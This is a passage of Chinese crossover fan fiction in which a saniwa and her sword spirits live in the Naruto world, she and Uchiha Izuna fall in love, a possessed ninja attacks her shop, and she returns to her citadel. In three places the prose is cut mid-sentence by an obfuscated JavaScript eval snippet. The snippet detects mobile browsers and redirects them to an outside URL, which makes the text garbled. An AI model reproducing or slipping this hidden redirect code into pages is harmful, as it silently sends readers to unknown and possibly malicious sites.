泉奈沉默地环抱住我,又和我说:“我会尽快回来的。” 我嗯了一声。 等到泉奈离开后,付丧神们才纷纷显形。 我和他们说委屈了,他们也说没事。 “主人在这里有了恋人吗?”退说。 我点头。 “那个男人,身上的杀气很重。”药研如同往日他担任我近侍时贴身跟随着。 我手上捻了株紫草,漫不经心地说是:“他是忍者。” “忍者……难怪,”药研若有所思,“之前政府的调查官说,初步调查后显示这个世界是忍者活跃的舞台,与我们所熟知的武士活跃的历史完全不同。” 我猛地转头,惊疑不定地看着药研:“什么?!” 南泉本来在院子里盯着牛奶,听见我的声音后也转头看过来:“忍者是这个世界战争的主力,主人不知道吗喵?” 牛奶哇地大叫着挠向南泉,南泉侧身躲开,又盯住牛奶,告诫他:“你不要招惹我,我虽然被猫诅咒了,但也不是好招惹的喵!我都没有和你计较抢我主人的事喵!” 牛奶毫不示弱地喵回去,能听出他骂得很脏。 “……” “主人,怎么了吗?”药研问道。 我摇摇头,没说话。手边不慎掐断的紫草渗出紫红的汁液,染红了指尖。 之前泉奈和我说这个世界参与战争的是武士,忍者会安全一些,做些隐蔽的工作。 原来是在骗我。 胸口有点堵,却也不是因为被骗,而是担心他的安危。 所幸御守已经送出去了。 3. 没过两天,牛奶也不见了。 南泉对牛奶很在意,见牛奶几天不回家,还问我猫走丢了不需要找吗。 和他解释后南泉哦了一声,转身帮忙做家务去了。 现在他们对外的身份是我的亲戚,分别是远房的弟弟和哥哥。 南泉对此有些微辞,说什么只想当主人的刀,退和药研叫我“姐姐”的时候表情也很为难。 虽然面上没说什么,但我还是有点担心不见的牛奶和离去的泉奈。 自从知道忍者竟然是战争的主力后,我就总是担心泉奈会死在战争上。 过去出阵时我见过许多战场,见得多了,甚至有些麻木的悲哀,人类的历史总是在战争中循环,一次又一次。 甚至于时间溯行军的形成,也是人类为了改变历史。 即便形式改变,敌人变成了时间溯行军,我们审神者和刀剑付丧神们,也身处于人类发起的战争之中。 或许他是为了我而隐瞒身份,但我接受不了为生死未卜的他担惊受怕。 或许这段关系确实该结束了。 在不安中等待的时候,我突然想通了。 这天照例和本丸通话,白山依旧人机感十足,时之政府的效率在除对抗时间溯行军外依旧堪忧,据白山说通向我这个世界的通道还没有打通完毕,回程的方式还有待试验。 听完后我去把店开了,白山都这么说了,那短期内是很难回去的了。 这么悠闲地过了一两月,我去找琴乃喝茶的时候听她说火之国要建个忍村。 我奇怪道:“建个村子怎么还搞得声势浩大的。” “说是火之国的忍者大半都要住进去。” “住进去干嘛?”我有点莫名。 “那些忍族就不会互相打了。” “这样。” 我们聊过后就不再理会这事,本来忍者就离我们的生活很远。 “说起来,好久没见你和你恋人一起来了。”琴乃提起泉奈。 ……收回前言,还是没那么远。 “……他有点事。”我语气干巴巴的。 琴乃关心地看我:“铃,你的表情不是很好。” 我想了想,还是说:“我觉得我和他可能不是很合适,下次见面打算分手。” 琴乃睁大眼睛,“欸”了一声,看起来想问发生了什么,但还是忍住了。 “想问就问好了。”我说。 其实是我想发牢骚。 琴乃也看出来了,就问我怎么回事。 “因为他的工作很危险,每次离开我都会担心他的安危。”我说。 琴乃:“嗯……那确实心里会很不好受呢。” “是吧?” 我又叹气。 不过虽然是这么打算的,泉奈真的来的时候,我还是有点说不出口。 当时五虎退正拎着替我买回来的糕点推门而入:“主人主人,今天店主阿姨还送了我们——” 他的话语在看见站在我身前的泉奈后戛然而止。 “阿……姐姐。”退差一点又叫“阿路基”了,连忙改口。 泉奈看了眼退,又看向我:“主人?” 我整个人都僵住了,总觉得自己要是不说点什么可能就名声不保:“这是我家里找过来的人,是我弟弟……他,这是他的习惯。” 对不起了退!但是我不想变成有奇怪癖好的人! “你们兄弟姐妹,模样偏差有点大。”泉奈说,他来的时候已经见过了南泉和药研。 “因为是远房兄弟。”我补充。 “你兄弟身上的刀……”泉奈又提起之前见过的本体。 “是他们的。”我飞快地回答。 “……” 泉奈没追问下去:“对了,刚才你要说什么?” 他又问我。 在退回来之前,我本来还在犹豫提分手的事。但是泉奈一来就和我说了很多,说他之前受了重伤以为自己要死了,又说我的御守不见了,伤也好了。 他还说最后他哥哥决定和另一个忍者族群结盟,要建立一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749031|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍者居住的村子,他们也要住进去,他来问我的想法。 因为到时候那个村子肯定也会有普通人搬进去。 “往后大概不会再有战争了。”泉奈说。 我犹豫了一下,看向退:“退,你去看一下药研那里有没有要帮忙的地方吧。” 退如蒙大赦地松了口气:“好、好的,主……姐姐。” 等退离开后,我才问泉奈:“……你没有其他想问的东西吗?” 他特意提了御守的事,又不追问,怎么想都不对劲。 “我说过,不会问你不想说的事,”泉奈的声音变得温柔了些,“而且,谢谢你。” 我更难受了,盯着眼前的恋人:“你怎么不态度强硬一点,这样我就好把想说的话都说出来了!” “那种态度不是用来应对喜欢的人的,”泉奈唇边露出一个温柔的笑,“难道阿铃你是我的敌人吗?” 我:“……” 这还让我怎么说出那种伤人的话! 我有点自暴自弃地拽着他的衣服抱住他,泉奈看起来比较瘦削,但实际上肌肉锻炼得当,抱起来的实感和看起来以为的完全不一样。 “你们忍者打仗的时候,其实是面对面地正面战斗吧?”我闭着眼睛说。 “……啊,”泉奈沉默半天,才道,“你知道了啊。” 我收紧手指:“我之前说的没开玩笑,我确实和家人失散了,现在他们找来,我很快就要回去……你跟我一起走吧,做忍者太危险了。” “……原来是这样啊,”泉奈摸了摸我背上垂下的头发,拍了拍我的背,“难怪一看见我,表情就变得很难过。” 我将头埋得更深:“我的演技有那么差吗?” 泉奈没有回答,沉默地抱住我。 过了一会儿,他说:“铃,离开前的时间,交给我吧。” “……你这个兄控。”我知道他是拒绝了我的提议。 “不止是因为哥哥啊。”泉奈叹气。 4. 南泉不理解我怎么还没和泉奈分手。 药研说大将自有把握,让南泉别想那么多。 我觉得药研对我的滤镜有点深。 退主动把他的老虎递给我,我正感动着,牛奶不知道从哪个角落杀出来,钻到我手底下蹭。 我:…… 我第一次知道原来猫可以这么主动。 反正时之政府的人还没来,我就先去了一趟传说中的新忍村。 泉奈说村子名叫木叶,还是他哥取的。 我的本丸也有个名字,是我刚入职那会儿取的。 于是我问泉奈他哥是不是村子。 “……” 泉奈的沉默告诉了我答案,我有点尴尬地转移话题,指着街边的花店说去看看花。 木叶确实是个新建的村子,街上很空,偶尔能看见穿着干练的忍者匆匆离去。 花店店主有着一头很漂亮的金发,问了我我喜欢的花后搭配着给我包了一束,我们出来的时候正巧见到一个女孩子跑到店里,不远处站着泉奈他哥和一个黑色长发的男人。 泉奈他哥的表情很冷淡,就跟之前我见他时那样,看起来有种阴沉的感觉,他边上的那个男人就很…… 在那个人抬起手和我们这边挥手大声喊泉奈名字打招呼的时候,我被他和泉奈他哥之间极端的反差震撼了。 也不知道是因为这个人存在显得泉奈他哥更阴沉还是因为泉奈他哥存在所以显得这人更阳光。 我转头问泉奈那人是谁,泉奈的脸色却很难看。 “……村长。”泉奈用了最能让我理解的方式解答。 我觉得我明白了。 但转头就发现不对:“那你哥怎么和他站一起?” 他们俩难道不是互相抢村长位置的关系? 这时泉奈他哥他们两人已经走了过来,泉奈他哥和我点了下头打招呼,另一边木叶村长正在和泉奈说话:“好巧,泉奈你也在这啊,刚才我还和斑说今天我们要不要一起去聚餐……这是?” 木叶村长看向我,问道。 我在想“斑”是谁。 泉奈抿了下唇,态度很抗拒:“和你没有关系吧,千手柱间?” 接着泉奈又看向他哥:“哥,铃今天刚到木叶,我得陪她安顿好。” 泉奈他哥点头,又和千手柱间说:“你别打扰他们两人。” “……”千手柱间过了好半天,反应过来,看着我手里的花,又看向我,“你和泉奈是恋人啊!” 泉奈还没说话,他哥就在边上用一种很恐怖的语气说:“既然知道你还在这里干什么?” “等一下,斑!我也没有打扰——” “谢谢,打扰到了。”泉奈立刻说。 最后泉奈他哥把千手柱间拉走了。 看着两人背影消失远去,我才和泉奈说:“原来你哥叫斑啊。” “……”泉奈愣了一下,“我没说过吗?” 我点头。 就是这么玄幻,新年红包都收了我都不知道发钱的人是谁。 然后我俩就因为这件事笑个不停。 真是奇怪,仔细想来这也不是什么好笑的事啊。 8. 第八章 1. 我把奶茶店搬到了木叶。 出乎意料,在木叶我的生意还不错,不少小孩子来我这里买奶茶喝。 我这里定价不算便宜,所以之前在町里客人很少。 临近黄昏的时候,我清点完一天的营业额,和泉奈说起这件事,正要感叹这群小孩真有钱,就听泉奈说这也正常,因为这些小孩都是在战场活下来拿到了任务金的。 我脸上的笑立刻僵硬了。 “……什么?”我以为我听错了。 泉奈垂眸,微微侧过脸:“嗯,你没有听错,忍族的孩子很小就会上战场。” ……简直闻所未闻的制度。 “……你也是?” 他又看向我:“都过去了。” 见我表情依旧难看,泉奈叹息了一声:“哥哥和千手柱间他们不打算再让这些孩子出任务。” 我抬眼看他:“真的?” 泉奈点头:“所以他们才有心情来买喝的。” 想想也是。 把店里的工作做完,我和泉奈就去街上逛。 这些天说是有什么新的忍族搬进来,村里还挺热闹的,但防卫也加强了。 因为这个,药研他们又在木叶重新登记了一遍身份——他们都随身带着武器。 逛街的时候我们在路上遇到个白发男人,身量很高,脸上有几道红痕,眼睛也是暗红色的。 那人手里拎着鱼,和泉奈迎面遇上,互相都停了下来看着对方。 泉奈的脸色简直可以说是差到极点了,那天看见千手柱间的时候都没这样。 “宇智波泉奈。”对面那个白发男人说道。 泉奈微微上前一步,稍微挡住了我:“千手扉间,别挡道。” “千手?”我听见泉奈的称呼,问他,“和柱间有什么关系吗?” “柱间是我哥。”千手扉间的目光移过来,注意力大概从刚才泉奈那句话上移开了。 泉奈也说是。 “你们关系很差?”我又问,“上次看你们哥哥,似乎不是这样的。” 千手扉间有些意外地看向泉奈:“你没说?” 泉奈冷笑着:“我要做什么和你们千手没关系,别多管闲事胡乱说话。” 我第一次见泉奈这副剑拔弩张的模样,有点惊讶,突然对他之前说的“对敌人的态度”有了点实感。 ……但千手扉间也是木叶的,还算不太上敌人? 千手扉间听了泉奈的话,眉头紧皱,一副若有所思的姿态。 “知道了,”他突然冷笑了下,“你居然也有这样的时候,真让人想不到。” “你走不走?”泉奈逼问道。 千手扉间啧了一声,消失在了我们面前。 2. 我问泉奈刚才千手扉间的话是什么意思。 “不用管他,千手的话直接当垃圾忘掉就行。”泉奈和我说。 “……”看来泉奈对千手的意见真的很大了。 但泉奈的态度肯定有原因,只是他不想说。 这点插曲结束后,我们又去河边看花。春夏交季,沿河开了许多花,我只能面前认出菖蒲花,这还是因为过去在本丸的时候见过的。 花香浮动,河面倒映着明月,很有一番趣味。 我靠着他肩膀,突然有了点兴致,去折了些柔软的枝条编花冠,然后往泉奈头上戴。 他欣然接受,也学着我刚才的做法编了个花环。 我越看泉奈的手法越觉得奇怪:“怎么感觉和我的步骤一模一样?” 泉奈说他刚看我学的。 但也不能连失误从来都地方都学上了吧?! 泉奈听了让我看他眼睛。 今天不知道为什么,他的眼睛又红了。 不是霸总小说里那种抵墙眼尾通红,是眼睛的虹膜变了颜色,过去我也见到过,不过那时候以为他是情绪激动才会眼睛变色。 他握住我的手去碰他的眼眶,解释道:“这是我们一族特有的写轮眼,可以复制他人的动作。” 我:…… 这是什么作弊的能力啊?! 你们忍者的能力未免太奇怪了吧! 我以为我的灵力已经够特殊了! 泉奈见我目瞪口呆的样子,没忍住笑出声来,笑声清朗。 我凑近去看他的眼睛,里面有两颗勾玉样的花纹。 我本来想问他他这眼睛真的能什么都复制吗,但却注意到不对劲的地方:“怎么感觉你的眼睛和之前看起来不一样了?以前不是这个花纹?” 我记得之前见过的他的眼睛的样子,应该是三颗勾玉的花纹,甚至还会变成其他形状。 泉奈笑声微顿,而后说:“可以变成其他样子。” “……”有点古怪,我狐疑看他,“那你变给我看看?” 泉奈的眼睛变回了黑色,沉默地看我。 我感觉更不对劲了:“你是不是还瞒了我什么重要的事?” “不是什么要紧的事,铃。” “我看起来有那么好骗?” 泉奈先一步败下阵来,移开目光:“之前受重伤的时候,眼睛也出了意外。” 我眉头皱得更深:“不对啊,御守应该让所有伤复原。” “……” 泉奈慢吞吞地说:“这不是原来的眼睛……是重新长出来的。” 我呆住了。 愣了好久,我才扬声问道:“宇智波泉奈!这么重要的事你都不和我说?!” “……都过去了,我也不想让你难过。”泉奈说。 我气得站起来瞪着他,看着他无辜的样子有那么一瞬间都想踹他两脚了,可转念一想他就算和我说了我也不能做什么,更生气了,完全说不出话来。 “对不起。”泉奈抓住我的手。 “……你对不起我什么了?”我听了更是火大,甩开他的手回家。 但我也不知道想听他说什么。 回家后我又想起脑袋上戴着的花环,想到我一路上就戴着它回来的,更是生气,盯着花环半天又不忍心扔掉。 结果趴在柜子上的牛奶以为这是他的新玩具,跑来想把花环叼走。 “不是玩具,我的。”我推开牛奶,宣誓主权。 牛奶失落地咪了两声,跑去欺负退的小老虎了。 “……”我反应过来,去追牛奶,“不许欺负老虎们!” 这只奶牛猫天天和小老虎们混在一起,最近小老虎们都有点向拆家牛奶发展了! 黑白条纹的老虎也是黑白配色啊! 3. 因为眼睛的事,我和泉奈冷战了好几天,最后我也不知道怎么就和泉奈和好了。 好像就是路上偶然遇到了千手柱间,他说着什么聚餐之类的话,我本来要拒绝,结果莫名其妙地跟着去了,简直被千手柱间下了迷魂药一样。 聚会的时候泉奈也在,然后我们坐在一起,边吃边聊了起来。 聊完后想起还在冷战,再提这事好像又不恰当,就这么和好了。 泉奈送我回家的时候,南泉正把牛奶逗地大骂出声,看到我和泉奈后一刀一猫都安静地看我们两个。 我和泉奈道别后,南泉凑过来,问我不是和泉奈吵架了吗。 牛奶也蹲在我边上看着我。 “嗯……吵完了。”我说。 一刀一猫:? “好了天色也不早了,你们也休息去吧!”我不好意思地转过脸回屋。 “主人你太好脾气了喵。”南泉还在后面恨铁不成钢。 第二天醒来的时候,胸口闷得慌,我还以为我感冒了,结果一睁眼就看见牛奶这只大猫趴在我被子上呼呼大睡。 我头痛地捂住脑袋,喊了声牛奶把他拎开,臭猫不知道做了什么美梦这样都没醒,还我身边蹭。 我一个翻身起来,还是好心没把他吵醒,懵懵地去洗漱吃饭,然后开店。 今天店里来了个宇智波的小孩,他带着其他几个我没怎么见过的小孩子一起过来的,带着几个小孩子点奶茶。 几个男孩子学着宇智波小孩点了一样的,其中那个女孩子悄悄问我那些奶茶的区别,最后选了花茶。 药研帮着我打下手,把奶茶送过去,几个小孩子围在桌边叽叽喳喳地说话,桌上摊着他们的作业。 见药研年纪看起来不大,就问他怎么没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749032|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去上学。 药研愣了下,面无表情地陈述事实:“我成年了,比你们大得多。” 几个小孩震撼地看着药研,药研转身回来的时候我看见他唇角微微勾着。 小学生们以为很隐秘地讨论了一番药研的真实年纪和他到底是不是在骗人的话题后,就开始做作业,没过一会儿又有几桌客人进来。 看起来都是忍者,点了奶茶后就和同伴坐在桌子边聊天。 什么最近河里的鱼越来越难抓了,之前抓了条鱼转头被只来历不明的老鹰抢走了。 什么在森林里溜达遇到了奈良家的鹿抢兵粮丸吃,吃了发现不好吃还吐掉撞人,这是一只鹿该做的事吗。 什么天气越来越热虫子也越来越多,找油女的忍者去家里除虫对方会不会觉得冒犯。 我听了半天觉得这些忍者讨论的问题怎么怪抽象的。 当晚去泉奈家吃饭的时候,泉奈和我说桌上的鱼是他哥养的老鹰抓回来的时候,我的筷子停在鱼上,想起了白天听到的话。 ……真是完美的生态链啊。 4. 吃完饭后我和泉奈腻歪了一会儿,突然听见外面传来了巨大的爆炸声。 泉奈动作僵住,我叹着气把他推开让他快去,然后慢吞吞收拾着衣服。 泉奈犹豫了下,和我说让我留在这里,说这里肯定更安全。 我嗯了一声,等泉奈走了后走到院子边上看月亮。 上弦月,月光不是很足,天上的星星倒是灿烂极了。 结果还没看多久,我就听见周围路过的忍者讨论说爆炸发生在商业街。 这我就坐不住了,我的店我的刀我的猫都在商业街啊! 赶到商业街后,我才发现现场一片混乱,找到混乱中心看到是我家后我更是眼前一黑。 房子被奇怪的木头横七竖八地贯穿,千手柱间一脸茫然地被泉奈他哥拦在外面,我挤进人群找到眼熟的邻居问他们有没有看见我家其他人,他们说没看见出来,还说已经有忍者进去探查了。 这时候房子里传来刀剑相击的声音,我脸色微变,先不说到底发生了什么,万一刀剑们以为进去的是敌人就坏了,双方打起来就坏了。 有带着木叶护额的忍者来拦我,让我在一边等着,我用灵力冲开他来拦我的手后踹开门冲了进去。 黑暗中的店面隐隐绰绰的,我顺着战斗的声音找过去,就看见令我血压升高的一幕。 付丧神们身上挂着彩,泉奈不知道为什么正在和一个戴着木叶护额的家伙打斗。 那个忍者身上很奇怪,大半个身体都是黑色的。 “大将,”药研见我也来了,捂着肩上的伤口说道,“那个忍者被控制了……凶手是冲着您来的。” “你们先处理伤口,”我凝重地看着被控制的忍者,趁着对方和泉奈缠斗抽不出空,走完禹步后念起束缚驱邪的咒语,“清阳为天,浊阴为地,奉请守护诸神保佑!急急如律令!” 符咒没入忍者的身上,将其定在原地,泉奈一惊,手中忍刀换了方向,好险差点刺中对方要害。 忍者痛苦地叫喊出声,他身上渐渐浮起一团古怪的黑泥一样的东西,却也和我过去接触过的恶灵之类的东西不太相似。 泉奈转过头看我,面色愕然:“铃?” “那个东西要出来了!”我扬身提醒他。 泉奈立刻回头,从他身上取出一卷卷轴:“封印交给我。” 虽然不知道忍者怎么还能封印这种东西,但既然泉奈说可以那就先让他试试。 等到彻底将那个东西驱逐出木叶忍者的身体,泉奈立刻用了不知道是什么方法的咒术将其封印。之前被控制的忍者也晕倒在地。 而后泉奈放了大概是信号的东西,陆续有其他忍者进来,搜查有没有其他潜伏的人。 周围人来来往往,我和泉奈面对面站着,我没说话,他也没说话。 “……你刚才,”泉奈刚开了个头,便叹着气转移了话题,“我先把卷轴送过去,把你会成为目标的原因查出来,你和他们今晚来我家休息吧。” 我点点头。 还要给付丧神们手入,今晚其实休息不了。 9. 第九章 1. 令人焦头烂额的一晚过去,牛奶在房外守了一晚上,现在和小老虎们挤在一起睡觉。 付丧神们的伤势都已经处理好了,泉奈和他哥都没人回来。 不知道查了个什么出来。 通讯器那边白山听说了这件事后,担心是时间溯行军的阴谋,准备上报上去。 “应该不是时间溯行军,”我也安慰他让他别告诉本丸的其他刀,“不用太紧张。” 毕竟时之政府的人都还没到,时间溯行军就能跑到这来未免也太过分了。 又不是我们原本的历史,时间溯行军没必要干这种吃力不讨好的事。 白山那边安静了一会儿:“控制不住。” 我愣一会儿才意识到白山是在回我那句不要太担心的话,惊讶于他竟然能说出对他而言可以说是撒娇的话。 “好吧,我向你们承诺,我会好好保护好自己和你的兄弟们,”看见南泉期待的表情,我又补上一句,“还有南泉。” 白山说很快就能接我回家了。 希望吧。 关上通讯器后我打算回店里看看,昨晚走得急基本什么都没带,现在也回去看看店里究竟是什么情况。 一晚上过去,店外至少已经能看了,垃圾都清理干净,只是被像是从天而降的木头砸穿的建筑看起来还是有些危险,路过的人都会绕开到对面去。 我让南泉和退等在外面,药研陪我进去收拾东西。 奶茶的原料差不多全都污染了,之后只能扔掉,检查完库存后我对昨晚那个伤了我家刀的东西更为怨念了。 绕开已经塌下的门框,我回自己房间收拾了几套干净衣服出来,又看见之前落在窗边的花环,犹豫了一下我把花环捡起掸了掸灰,也放到行李里。 我出来后邻居问我有没有事,要给我提供住处,我摇头谢过对方的好意,准备回泉奈家时想了想,又转到旁边店铺里买了点上门叨扰借住的礼物,顺便解决了午饭。 回去后已经是午后了,我一晚上都在给刀剑手入没睡,现在困意袭来,和药研他们说了一声就去休息了。 一觉睡到天快黑,中途药研来问我泉奈他们两兄弟的饮食喜好,他哥我不清楚,我就只说了泉奈的,再晚一些的时候药研叫醒我吃晚饭。 我睡得有点昏,吃了几口后才问起泉奈他们回来没有。 “还没有。”药研说给他们留了饭菜的。 我又问药研他们吃没有,药研闻言点头:“嗯,和退他们一起吃的。” 那就好。 吃了晚饭后竟然又有精神不困了,我心想这时差倒得也太快了,闲着没事就在院子里坐着。 退和南泉拿了木刀在切磋,药研就守在我身后看着。 这让我想起了在本丸的日子,就问药研有没有想本丸的大家。 “我的愿望是能陪在大将身边。” “这和想大家也不冲突,”我听了后回头看了他一眼,让他也坐下,感慨道,“药研你总是这么可靠啊。” “一期哥会照顾好兄弟们的。”药研又说。 我无奈地伸手揉了揉他的头发,他紫色的眸子闪过一丝愕然。 “偶尔也敞开心扉表露自己情绪吧,药研,就像现在这样。” 我没在外面待太久,因为天气越来越热,蚊虫也真的多起来了。 本丸是由灵力支撑的,过去我从来不用操心这种问题,现在想念本丸的优点又多一条。 逃回房间后我想起之前店里忍者说的油女一族,也不知道他们能有什么办法解决这个问题,那些忍者居然想去问问。 更晚的时候泉奈他们回来了。 泉奈来找我说明昨晚的情况,脸色不是很好。 原来昨晚那个东西的真正目标其实是要杀了我嫁祸给千手,只是我昨晚刚好不在,家里的人也并非他以为的普通人,直接就打了起来。 他本来还想像昨晚附身木叶忍者那样附身药研他们,却发现根本做不到。 “嫁祸给千手的目的是?”我问泉奈,也想起之前泉奈对千手柱间那两兄弟态度不好的事。 “……为了让我和千手起冲突,从而让大哥和千手柱间继续战斗下去,开启轮回眼。” 泉奈越说我越不能理解,见我一脸迷惑,他就从头开始讲起,和我说忍者的血继、千手和宇智波的恩怨,还有忍者的源头和黑绝的来历。 我听完后惊呆了,看着天上并不圆满的月亮:“所以这个世界的月亮……是人造的?” 里面还关了个外星人? 天啊,这个世界到底是个什么情况? 我又看看泉奈,又意识到一个事:“所以你身上也有外星人的基因。” 泉奈捂住额头笑了下:“铃,你在意的居然是这种问题吗?” “嗯……其实还是有点意外,你们的月亮也能搞这种实现愿望的伪劣承诺啊。”我抓了下头发,吐槽道。 之前我在演练场遇到一个比我还肝的武系审神者,遇见次数多了我们也熟起来,听她说她家乡的世界月亮上有一种能够实现愿望的装置,然后就会有很多人将精神传送上去争夺许愿的资格,后来这个装置自己产生了意识还一度毁灭了整个人类世界。那个同事最后赢得了许愿资格,成功阻止了人类的毁灭,却要被许愿装置吞噬,最后是同事身边那个脾气狂妄得不行的同伴带着同事直接逃到其他世界去了。* 后来同事被时之政府找上,她就又来拯救世界了。 我当时就觉得,同事那个世界的月亮也太吓人了,又是监控地球发展又是想毁灭人类的,怎么跟个天外的眼睛一眼。 没想到这个世界的月亮更离谱,人造的不说,还是实现大型安乐死幻术的媒介。 还是我自己那个世界的月亮可爱。 一颗单纯的围着地球转的卫星。 泉奈眉头微微一动:“不打算瞒着我了吗?” 他问。 刚才我直接说了“这个世界”这种话。 我欸了一声:“其实你猜到了一点吧。” 我一个人的过去差不多就算了,药研他们的过去都查不到,我还宣称自己有座城之类的,还和泉奈摆明了回去之后就没法再见面的态度,再怎么迟钝也会感觉不对劲。 而且我对这个世界的忍者的了解实在太少了,过于缺乏常识,之前还信了泉奈说的什么忍者不会出现在正面战场的话。 最重要的是昨天我用了和他们忍者完全不是一个体系的灵力。 “嗯,”泉奈靠近我,将我抱住,“我其实一直在犹豫,用自己能用的方法留下你。” 我呆了一下:“……这个玩笑不好笑啊。” 之前不知道,现在知道他们的写轮眼啊幻术是个什么东西后,再听这话我就觉得有点吓人了。 老实说我觉得这个世界现在对我而言很危险。 “但我不想你受伤,”泉奈又说,“不管是因为我,还是我带来的。” 泉奈说他从小接受的教育就是忍者不能有多余的感情,小时候还举报过自己的哥哥交了族外的朋友,因为朋友也是忍者不能有的。 “……所以果然,你一开始就对我有企图了。”我想起我们最开始的几次见面。 如果忍者真的和泉奈说的这样,我们之间完全不该有开始才对。 之前我问他他的好奇会不会和好感挂钩,他还飞快否定,现在看来全是心虚。 泉奈收紧了手中的力道,我听见他胸口擂鼓般的心跳声:“喜欢一个的感觉太奇怪了,我变得和以前的自己完全不一样……我不知道那是喜欢。” 我也抬起手抱住他:“嗯,这很正常,我也是后来才意识到自己喜欢你的。” 可惜我们是两个世界的人。 2. 店里修缮好了后,我们就又搬了回去。 白山每天和我汇报时之政府清理两个世界通道的进度,回程不比过去,要是出了意外恐怕又要掉到哪个奇怪的世界,所以必须通道必须稳定安全才行。 又过了几个月,等到入秋的时候,时之政府终于把回去的通道修好了。 来接人的是白山和前前政府调查官长义,他们到木叶的时候,我正在后山和退一起捡红叶。 他们直接找到了我,我险些没反应过来,然后后知后觉般地意识到:“啊,该离开了。” 离开基本不需要什么准备,只需要带上我的随身行李和猫——哦对,还得问这只忍猫愿不愿意跟我走呢——然后就是跟周围的人告别。 白山先陪我去了趟琴乃的神社,和琴乃告别后就该去见泉奈了。 泉奈在火影楼办公,我平常不会去那里,到了后我问着路找到了泉奈的办公室,推门而入。 他看见我的瞬间脸色微变,而后稳住心神:“……要走了吗?” 我点头走近他:“这些年,承蒙关照了。” “……你不问我那个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749033|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题了吗?”泉奈勉强提起笑容。 “我也不想你为难。”我说。 如果是以前,我肯定还是要再问问什么“入赘”啊之类的话。 但是之前听泉奈说过他自己的经历后,我就知道这些话不该再说出口了。 就像泉奈没有提出让我留下来一样。 这场告别似乎也没有想象的那么困难,离开火影楼的时候,天上下起了蒙蒙的细雨。 “这场雨来得真是让人伤感。”我和白山说。 但白山不吃这套:“是主人在伤心。” “……” 不想了,先回去问牛奶要不要跟我走,不跟我走就算了。 3. 最后牛奶还是跟着我一起回了本丸。 见到本丸里丰富的物种后,牛奶完全震惊了,又是追狐之助又是去招惹白山的狐狸,还对狮子王肩上的鵺跃跃欲试,完全看不出来是刚到本丸的样子。 ……黑白花色,倒也正常。 回了本丸后还有一堆事要做,先是时之政府的人带我去体检,看我有没有受到伤害。 其他都还好,就是做心理测评的时候实在太耗费时间,这玩意我在走退役手续的时候就做过一次了,现在还要再做一次。 我不觉得我心理有问题,但陪同的政府调查官却私下和我说建议我回现世后好好休养一段时间。 我:…… 接着就是这次事件后对我的赔偿,赔偿都有条例可循,我不用太操心,都交给近侍去办,最后就是回现世。 这次回现世的时候有时政的人陪同一起,倒是平安无事。 办完其他剩余的手续后,我回到现世的家中。 家里很久没人住了,光是大扫除就花了我整整一天的时间。 我先在家里昏天黑地地宅了几个星期,然后意识到不能再这么颓废下去了,打算出门逛逛。 但出去逛了一圈后发现没什么好玩的,我又回家了。 回家后我想起调查官的劝说,心情微妙:我心理不会真出问题了吧? 但如果真的有问题,也该和我说说实话啊,应该不是吧。 这么想着,我实在找不到事做了,想来想去,就回了本丸。 本丸一切如常,狐之助问我需要什么。 我喂了它块油豆腐,想了想,问它:“要不我继续回来当审神者好了。” 狐之助说退役审神者再入职有先例,直接敲了份合同给我看。 我仔细看完合同,问狐之助能不能把我改成文系审神者,随付丧神一起出阵还是太消耗精力了。 狐之助说当然可以。 办完再入职手续,我先召集了付丧神们通知了这件事,大多数刀男们还是比较兴奋的,因为对他们而言刀剑就是要上战场。 至于不感兴趣的刀男们,我就指派近侍给他们安排内勤之类的任务。 就这么每天出阵完成任务,本丸的日子也过得很快,眨眼间就到了快过年的时候了。 回来后药研就常担任我的近侍,新年当天他向我恭贺新春。 我坐在天守阁的台子边上看向本丸的院子,手边是今早从本丸年长的刀那里收到的新年红包。 短刀们在院子里玩雪,纷纷扬扬的雪落到积雪上,大家的笑声都很开心。 “大将,心情似乎不是很好。”药研问。 我收回心神,扬起笑容:“还好。” “是想起那个忍者了吗?” “……”我想了想,“也不算是吧。” 毕竟是生活了五六年的世界,我当审神者也才当了五六年,在忍者世界的世界其实和我在本丸的时间持平了。 而且刚才我是想起泉奈哥哥给我俩发红包的事了。 但再想那些无用,我摇了摇头,翻看起今天的行程。 今天过节,就没有安排出阵,只安排了演练场演练。 我和药研说了一声后,药研就去传达集结命令,而后前往演练场等着。 只是这一次,对面的审神者却让我愣住了。 泉奈站在付丧神们身边,肩上落了些雪,他看见我后眉眼微弯,唇角柔和地翘起。 “好久不见,铃,”泉奈说,“还有,新年快乐。” 我微微仰起脑袋看他,心中有很多话想问。 